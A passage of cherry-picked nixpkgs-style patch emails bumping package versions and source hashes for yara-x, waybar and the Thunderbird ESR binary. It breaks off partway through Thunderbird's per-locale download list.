Date: Thu, 28 Aug 2025 17:41:30 +0000
Subject: [PATCH 4269/4511] python3Packages.yara-x: 0.15.0 -> 1.5.0

(cherry picked from commit a56ed509d57a55ea6d5d2d6f1e54a862b382f288)
---
 pkgs/development/python-modules/yara-x/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/python-modules/yara-x/default.nix b/pkgs/development/python-modules/yara-x/default.nix
index 6d5be2c0fda7..354b3637fa25 100644
--- a/pkgs/development/python-modules/yara-x/default.nix
+++ b/pkgs/development/python-modules/yara-x/default.nix
@@ -9,7 +9,7 @@
 }:
 buildPythonPackage rec {
   pname = "yara-x";
-  version = "0.15.0";
+  version = "1.5.0";
   pyproject = true;
 
   disabled = pythonOlder "3.9";
@@ -18,14 +18,14 @@ buildPythonPackage rec {
     owner = "VirusTotal";
     repo = "yara-x";
     tag = "v${version}";
-    hash = "sha256-fbuh/SMfOygnuvG9zTZqem4oLaS+5uXScXPhU3aVDjM=";
+    hash = "sha256-YZmhwHA6PnQb3QXhbWK8cbV0CScbiD5k+HceDcV6iCI=";
   };
 
   buildAndTestSubdir = "py";
 
   cargoDeps = rustPlatform.fetchCargoVendor {
     inherit pname src version;
-    hash = "sha256-+dPIujaxDJ7JrtNvX4VjGHFmgtCb1BJpFQL4c3E1/GY=";
+    hash = "sha256-8LofNTLa3a2dDH72T54HJR/+qArXt+X6OMJIQwmjQIQ=";
   };
 
   nativeBuildInputs = [

From fc432219ea741efce59912cfb2a51ad9820c291d Mon Sep 17 00:00:00 2001
From: Gaetan Lepage <gaetan@glepage.com>
Date: Fri, 8 Aug 2025 10:01:44 +0200
Subject: [PATCH 4270/4511] waybar: 0.13.0 -> 0.14.0

Diff: https://github.com/Alexays/Waybar/compare/0.13.0...0.14.0

Changelog: https://github.com/alexays/waybar/releases/tag/0.14.0
(cherry picked from commit cc76d175ad2b381927abba331532df85ee6f169d)
---
 pkgs/by-name/wa/waybar/package.nix | 13 ++-----------
 1 file changed, 2 insertions(+), 11 deletions(-)

diff --git a/pkgs/by-name/wa/waybar/package.nix b/pkgs/by-name/wa/waybar/package.nix
index d89a524c96c8..0a1b9d1d0474 100644
--- a/pkgs/by-name/wa/waybar/package.nix
+++ b/pkgs/by-name/wa/waybar/package.nix
@@ -3,7 +3,6 @@
   stdenv,
   bash,
   fetchFromGitHub,
-  fetchpatch,
   SDL2,
   alsa-lib,
   catch2_3,
@@ -74,13 +73,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "waybar";
-  version = "0.13.0";
+  version = "0.14.0";
 
   src = fetchFromGitHub {
     owner = "Alexays";
     repo = "Waybar";
     tag = finalAttrs.version;
-    hash = "sha256-KfWjYDqJf2jNmYAnmV7EQHweMObEBreUc2G7/LpvvC0=";
+    hash = "sha256-mGiBZjfvtZZkSHrha4UF2l1Ogbij8J//r2h4gcZAJ6w=";
   };
 
   postUnpack = lib.optional cavaSupport ''
@@ -90,14 +89,6 @@ stdenv.mkDerivation (finalAttrs: {
     popd
   '';
 
-  patches = [
-    (fetchpatch {
-      name = "waybar-default-icon.patch";
-      url = "https://github.com/Alexays/Waybar/commit/c336bc5466c858ac41dc9afd84f04a5ffec9e292.patch";
-      hash = "sha256-RRGy/aeFX95fW0pT6mXhww2RdEtoOnaT3+dc7iB3bAY=";
-    })
-  ];
-
   nativeBuildInputs = [
     meson
     ninja

From 15259c3a94fe0b5c69a8f712ff0dcd9939bb3731 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 4 Sep 2025 12:04:09 +0000
Subject: [PATCH 4271/4511] thunderbird-esr-bin-unwrapped: 140.2.0esr ->
 140.2.1esr

(cherry picked from commit 04d9b511d59f65f2ad057974c8a0f6c7165d75d3)
---
 .../thunderbird-bin/release_esr_sources.nix   | 794 +++++++++---------
 1 file changed, 397 insertions(+), 397 deletions(-)

diff --git a/pkgs/applications/networking/mailreaders/thunderbird-bin/release_esr_sources.nix b/pkgs/applications/networking/mailreaders/thunderbird-bin/release_esr_sources.nix
index edeb29ebb3e1..be37e2b7e8c6 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird-bin/release_esr_sources.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird-bin/release_esr_sources.nix
@@ -1,1193 +1,1193 @@
 {
-  version = "140.2.0esr";
+  version = "140.2.1esr";
   sources = [
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/af/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/af/thunderbird-140.2.1esr.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "e0603bcf5aeb496411dbacbed98e816a527792d76fc7154fa9825627c91615e3";
+      sha256 = "aceed0779bef2ca6da072889c2969363c9166b762982e1f20a028bf814054b11";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/ar/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/ar/thunderbird-140.2.1esr.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "a0110b6746c64c982ac46c3faf220e736743204ae8697a9772ec1502bcc099cb";
+      sha256 = "e44c6bf4519a76f7299512dafe7624a9c21b2e16c81013d9269bd9aa30540d1b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/ast/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/ast/thunderbird-140.2.1esr.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "356190fe33ce6c515ad9ff22e5d8a00253c478c0439c11d4892c21b9c343f89e";
+      sha256 = "4aa36e387584aac412d6323d042e0dee72cff8aac1566420bf4771c0c7c70d05";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/be/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/be/thunderbird-140.2.1esr.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "19599d2d1b67f14de585fd741125d790bd7155f903f9b14b6d89b0af0d144219";
+      sha256 = "929fefdf5f49a7c16de0b26f819b155ba6db28c973e6bf42d7063afc24833199";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/bg/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/bg/thunderbird-140.2.1esr.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "3efb0fe35814616f4dadfee73456985e2f0554ef1345dce89ab50b534174ff9c";
+      sha256 = "2ad16947eb5af33a2b7b0b2568e1769317d3e987439205b8273a5adba0fafb36";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/br/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/br/thunderbird-140.2.1esr.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "ad395c992b4727268fd494fc5e2bd9cd05216db77417a106f74406a30a1e2ac0";
+      sha256 = "844853405bee40dbaf72cc59fe22681419b0ce3e5fa489f6d7a0c2daeceb2732";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/ca/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/ca/thunderbird-140.2.1esr.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "974b0cb086777827abaa6d866248afdea36730d9706bdd257033d85f1fdba6df";
+      sha256 = "6ba554a20baae214a2e02bbcca9d69f53ade41769589e7ac6afa84cacf7d6e57";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/cak/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/cak/thunderbird-140.2.1esr.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "e8b8bd3adcb8070f8da652c965d2283c75e756146e08b2493a6d26af2940a30f";
+      sha256 = "77ec58ff27ae7d852785f3e10ccb30941cea6f65e0f4134a51b75b762e27c8ed";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/cs/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/cs/thunderbird-140.2.1esr.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "b8e172fb00f61c404e2070dab7a1049d6fa09c9962482e441b359b34d7d1bdaf";
+      sha256 = "bf09cad2672e17ca8d2d06d164e4e8e6d0eb45a724dc3d19a1d01ed8db56680a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/cy/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/cy/thunderbird-140.2.1esr.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "6774a0c1e28f26ad431b16c33bd9b55831b3f43982ea42132cefd4e8237a73bf";
+      sha256 = "b7f38fda52e751704c5263624e9179cde95919f6e042dca6f9ee288dfe97e51f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/da/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/da/thunderbird-140.2.1esr.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "6a26d79d8331b5984c24cb3d77dd2deb91773556c77750f90c76a4fd5fc94f5c";
+      sha256 = "a4ece02cd9daf7cdf7812f0292a3fe608034d80edebae83f3114dcbe947a2170";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/de/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/de/thunderbird-140.2.1esr.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "39ab6222efdb7abbfe0ffe0ff278ca196df21e4babf61544efd4f6527fc6c66f";
+      sha256 = "7ab0c08ef62435dcef421898eb768203a17ab65d0ce3aaa5ec7d95c631f55bf9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/dsb/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/dsb/thunderbird-140.2.1esr.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "51c7be3fb39387831032139083e75a52eab974b8911286a4b69d28ae39f79651";
+      sha256 = "9ab73a7e95a485f4c4c13ae31905653ab200c314bcb9723bf8141e58663aa5f4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/el/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/el/thunderbird-140.2.1esr.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "3144cba797bd4981e7509db1a6c33cf9256060fb9fdd8516f2ef34f6084dd458";
+      sha256 = "dcdb83b22172865128f432e16f01ab459a75dc6f93519cedda1f09d481b5f991";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/en-CA/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/en-CA/thunderbird-140.2.1esr.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "00bd106f0427d2290729830ce037bab93d43fa330f6c167ebccc6b06893154bd";
+      sha256 = "04db211a178fbf6493064c0bfa667b3272b4f0fe935ef29099cc76b24109ac69";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/en-GB/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/en-GB/thunderbird-140.2.1esr.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "31ab146d1e81f6386b660089173d6a8c61463ccf8c7a507fae55c88ef148bc33";
+      sha256 = "fc93f66f4fff67dcca13957edcc4d189dc00ea63210de6e2633f56a0f26bec58";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/en-US/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/en-US/thunderbird-140.2.1esr.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "9545f2bda88bc3bb57bf90bd2fd1c202cd1982d45632ceb960e40d0889e970c2";
+      sha256 = "c2d9e133cb21072b077579264260e8e1909190769572da3c9de86380b0117580";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/es-AR/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/es-AR/thunderbird-140.2.1esr.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "7b4498f85ba6c8f7dc042dac54575368793bcca8d69727101b2554f4ecdca7e9";
+      sha256 = "297dd0b9736e324a245fc22743156b6b7b733f3655d2c3bdca6f2335929ba0c7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/es-ES/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/es-ES/thunderbird-140.2.1esr.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "6b920b131187964242a2b6c71efc5ba10d1acf670c670c2d371ee2bf7208a1c3";
+      sha256 = "b381641f140a990cba231f9d729c447a4d05b2360723c04a481ec99678e4d4cf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/es-MX/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/es-MX/thunderbird-140.2.1esr.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "c3cdb14615f28b14fbe4084540013bdff97423e6e6003be8432bf21dd60f8b09";
+      sha256 = "de723848007873a01427d57c2a606daaaaaf64279ebb16cfb883c5129a1f6dc6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/et/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/et/thunderbird-140.2.1esr.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "5ef591e4a8f9e86442932c485e23606f8199a98516fee0c5099dc5626e942c29";
+      sha256 = "69e90b3ab279d1eb739147e919bb504fd0aceff25eaef044003e637335fb8b51";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/eu/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/eu/thunderbird-140.2.1esr.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "0628ad64b669a3bc4bb10808c0a5dbe54fca19b9775fc7dc7f28115bae8ee60b";
+      sha256 = "b4b0c5b5f5fe3d48fff4ef26f1367e2d34ad829c32dcdeaab52f197431aae5ab";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/fi/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/fi/thunderbird-140.2.1esr.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "3fe7bc971469dcbebbec12bb0bbab0e8d8ecd576da57174934ff2dae3628d3a4";
+      sha256 = "5b7a6b9191ac9d44aed44c192030fa702de369001a71804b5fe7f6b1a23d9e1e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/fr/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/fr/thunderbird-140.2.1esr.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "dd49472ec3992664bb0ad04d9b360b089b550f6e1bf5d7054f479c6dc6668e36";
+      sha256 = "9288b6367055957c620760e07d440eb38e2632abbd3c366bf9b64ceb5034020c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/fy-NL/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/fy-NL/thunderbird-140.2.1esr.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "d304ac0e7b118b9ea64d9f1eba333ea4217313bf04a4866c347c7bc1db4304db";
+      sha256 = "8557d693cf6be610855216401180bcd49db451d8b907b2d5fb44d2de665ed933";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/ga-IE/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/ga-IE/thunderbird-140.2.1esr.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "6368f659b1bb776f180e9e579750775617b2058286a363261fd612d6a00401a6";
+      sha256 = "3c73420025e4d9ee6db3e08359f687c23353ce03fc773b351ba79b888ae61641";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/gd/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/gd/thunderbird-140.2.1esr.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "19ee581dd6ccf233d8f5e490be311caea53b8d186b7dfc719ab80b1ee7b02143";
+      sha256 = "57980b93cf84c43e01efe7f3e1d412a303ad4a73164e9032caaf991c140faa53";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/gl/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/gl/thunderbird-140.2.1esr.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "769a65281a7e2a473fe66919823673d69f091b239cfd0f37431030439310b265";
+      sha256 = "ab28c92dc2b06e5580a89f188477aae4387b28666af71061886be57fd6d0d833";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/he/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/he/thunderbird-140.2.1esr.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "97f0d0f80e2e7ff724bc363e71fafb5dc20f60e6b699adb97ebc936e8a227020";
+      sha256 = "214da101d101dceed2df881bbefaf538ab00ee55167cdd014f94564de12cd725";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/hr/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/hr/thunderbird-140.2.1esr.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "dec7cfcec03428d2926ce231c3d56ed13b9558384a046b7c70d14ad8978b8b00";
+      sha256 = "92bec143a98d8bb398022b57ed8c071738407f2052b2875d01f7a446d32f879a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/hsb/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/hsb/thunderbird-140.2.1esr.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "5c9f57d715c9a6cdb73c47cbcfe7643ba5670b5beeb11f9d72f84ecee068d4f6";
+      sha256 = "f38ec8b45ab2168bdbb757d846e6b03b82b97be0625f205bd039d177fc8072a6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/hu/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/hu/thunderbird-140.2.1esr.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "614610f72e730d6077d1e9b42cec6f002faf997ea691e0076c1d09e6436d68df";
+      sha256 = "f7d7a8e1be78af6029be038ca39ba972ab007fa70379b617c9f5abd55ef3a3ed";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/hy-AM/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/hy-AM/thunderbird-140.2.1esr.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "16d78631bf5471c148829ae40286840d3092d25a283c245950d9ba7fa93b07c7";
+      sha256 = "84f52769cdb7e1af897d8df54a1dabda269b7743a21783caa6cd687dde0ba44d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/id/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/id/thunderbird-140.2.1esr.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "cdaa1b73d66bcde17a3df149b5bee0270620a475216ede15ab82948038386b85";
+      sha256 = "dfe705294ce42589d30a1e8e55a0a8c834890c4a22465e2ebc97977d555bc762";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/is/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/is/thunderbird-140.2.1esr.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "c3c3fe08f7909f6b5a24002b8ac3d4562763f3fce7fa09e31d6ee5d9c42fb2e4";
+      sha256 = "548f040483fb45d04d940084f6a528e2eb67e12ca73de6a2d14d73ed5b36513f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/it/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/it/thunderbird-140.2.1esr.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "9708cde8b786d8321963007d39d8e0f70c67307bf233453edeba6fcc525e82ec";
+      sha256 = "d4799d97cfc3572e777e11b8d6dc392849afe9fe04ca885cf78ca5f3cb30a9fe";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/ja/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/ja/thunderbird-140.2.1esr.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "8e1749fc438880a752537963da1c45c44875f78128a28e221d88c4819f55ed90";
+      sha256 = "2546eb95f5fb933ed2c5757c99ee014ffa22633153a2b7c1f3b0c49f66ceedb4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/ka/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/ka/thunderbird-140.2.1esr.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "0f940323c414c6c680dec7f5a5ce02d5fa717a8b1e8306e5b6f1d600b5aeb628";
+      sha256 = "9d627354f72d145fa44a563c7be0112f5106c7eb72cceafb6f49212d54d03d91";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/kab/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/kab/thunderbird-140.2.1esr.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "f5cebc3b20c19cf73eb3e5a0d2d94ef29068b44a5f01e5f02bcc70720cc85ff9";
+      sha256 = "e5a748c8dd383d7c23fe69abac5a1a3a9ac469609f8c5ea9675fc654c25d9ec7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/kk/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/kk/thunderbird-140.2.1esr.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "f214b723b7f6b2678b78b858545bebf02f1b933d2b6de385524d4c060affbfe7";
+      sha256 = "ad9d814cba3433f935a7fe2bd915303bebb2afd11384d073869f8cf2f0cedae5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/ko/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/ko/thunderbird-140.2.1esr.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "933c2253c3c5924920faa2889e740b3bb75ea7d372ee2734ef66abafe84e66de";
+      sha256 = "db5abd808c7120544988a2ef4a84e519edd6e8bacdd6ed31281c87211797d7ec";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/lt/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/lt/thunderbird-140.2.1esr.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "b96137326be3eea66923bec0cc2bea05d6660070a3980671ab75cd3a02083ee3";
+      sha256 = "c2e5ac6363cf928a9bb5bcd3fc6ae98b922f0787c19c76cec77e48d229e8b736";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/lv/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/lv/thunderbird-140.2.1esr.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "fde2a6c3388f74419cc24678da4c93c8925c39f7f305c88b2b2e9adb52af7806";
+      sha256 = "81d90bd3ce619716cb3ab2e0ab933fcb6f3e566f653f0379a64228d362d7972a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/ms/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/ms/thunderbird-140.2.1esr.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "38815d85e46ede7fa01a7f83427a59310de29463fb84dce80a6aa72c3f20108f";
+      sha256 = "1cab1defcb67e56fe4aae057a8b80fa27223d434a7747524b3b3ef2ce6f78a19";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/nb-NO/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/nb-NO/thunderbird-140.2.1esr.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "78477255e656a3d6b5997a2d84d365a23954356595664004dd2d2b049f3cbdfa";
+      sha256 = "5e18ae4844c0a06a0bb5b4c238245e155abfd5435afbdec528dd3b53207be0c3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/nl/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/nl/thunderbird-140.2.1esr.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "e2c0f62292ade1a2064e85af6fae1f282ad5215754dce762643170b2021002f6";
+      sha256 = "5a0bda17fc83b1e5686e82d31cb8a1780696fdeaf022dce23ff9b575b3a85a30";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/nn-NO/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/nn-NO/thunderbird-140.2.1esr.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "1b020dc0e571a8229e560be60a9fda94186375fc59333282781894e63e40fff0";
+      sha256 = "0b43e528722a3c73f30e85a33c946e1934cee28f2fdd4a44a7c1d56a76ee3f85";
     }
     {
